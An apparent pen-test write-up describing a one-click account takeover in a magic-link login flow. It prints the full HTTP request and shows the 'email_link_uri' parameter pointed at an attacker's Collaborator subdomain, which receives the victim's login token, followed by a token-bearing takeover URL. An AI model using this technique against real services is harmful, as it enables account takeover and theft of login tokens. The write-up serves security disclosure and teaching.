Magic Links as Gateways to Account Takeovers
بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ
Hello, today I will discuss a ‘1-Click ATO’ bug that I encountered during a pen-test engagement at BugSwagger LLC. Let’s say the target name is: host.io.
Starting with Sign-up
During the sign-up process, there are two methods of registration: signing up with a non-existent email address and signing up with an existing email address.
The first kind of sign-up is the normal one. You simply input your email address and click submit. A confirmation email will be sent to you to ensure that you are the owner of the email address. After confirming your email address, you will proceed to insert your information and complete the account creation process (name, company name, etc.).
Signing up with an existing Email
The second option only works when you check the circle next to the sentence “I will be joining an existing [Host] account.” This option entails two scenarios:
First: If you have already registered with an account, you will be sent an email containing a magic link that allows you to log in directly without needing a password.
Second: If you have not registered with the email before, you will simply confirm your email and complete the sign-up process as mentioned above.
However, our focus is primarily on the first scenario!
The Misused Parameter
POST /account/v2/auth/magiclink/email/ HTTP/2
Host: sub.host.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://app.host.io/
Content-Type: application/json
Content-Length: 192
Origin: https://app.host.io
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
{"email":"myFirend@email.com","referral_code":null,"email_link_uri":"https://host.io","require_ad_spend":false,"account_type":"Standard"}
Upon sending this request I observed two things: first the ‘email_link_uri’ parameter and second the response itself.
The response received after investigation is not the token located on the magic link sent to the victim, which enables them to log in.
The magic link that enables the victim to log in is structured as follows:
https://host.io/?login_token=[different_token]&account_type=Standard&require_ad_spend=False
This link contains a unique login token different from the one located in the response. The Trick here is how we can leak the token that was sent to the victim.
Remember the ‘email_link_uri’ parameter? I tried manipulating it so I could hold the Collaborator link instead of the website URL itself. However, I encountered a weird response.
That triggers the ‘CORS Misconfiguration Bypasses’ inside my head 😄.
I tried to add the link below:
https://host.io.muk4beh062sbtx1v86cglfhd74dx1npc.oastify.com
And hell yeah! It succeeded!
And the link that was sent to the victim looks like this one:
Now, When the victim clicks on this link he will just go my collaboration server and the victim login token will be sent to my server as below:
Now you can just remove the collaborator server and leave the URL as below to takeover the victim account:
https://host.io/?login_token=5c0cdce5658eae411247e6cfb015c7906088ff2b&account_type=Standard&require_ad_spend=False
In summary, always inspect every parameter in important requests like reset password, email change, set password, etc. It may uncover vulnerabilities that you couldn’t imagine existed. Thank you for reading, and Pray for Palestine!🇵🇸
Twitter: @sl4x0.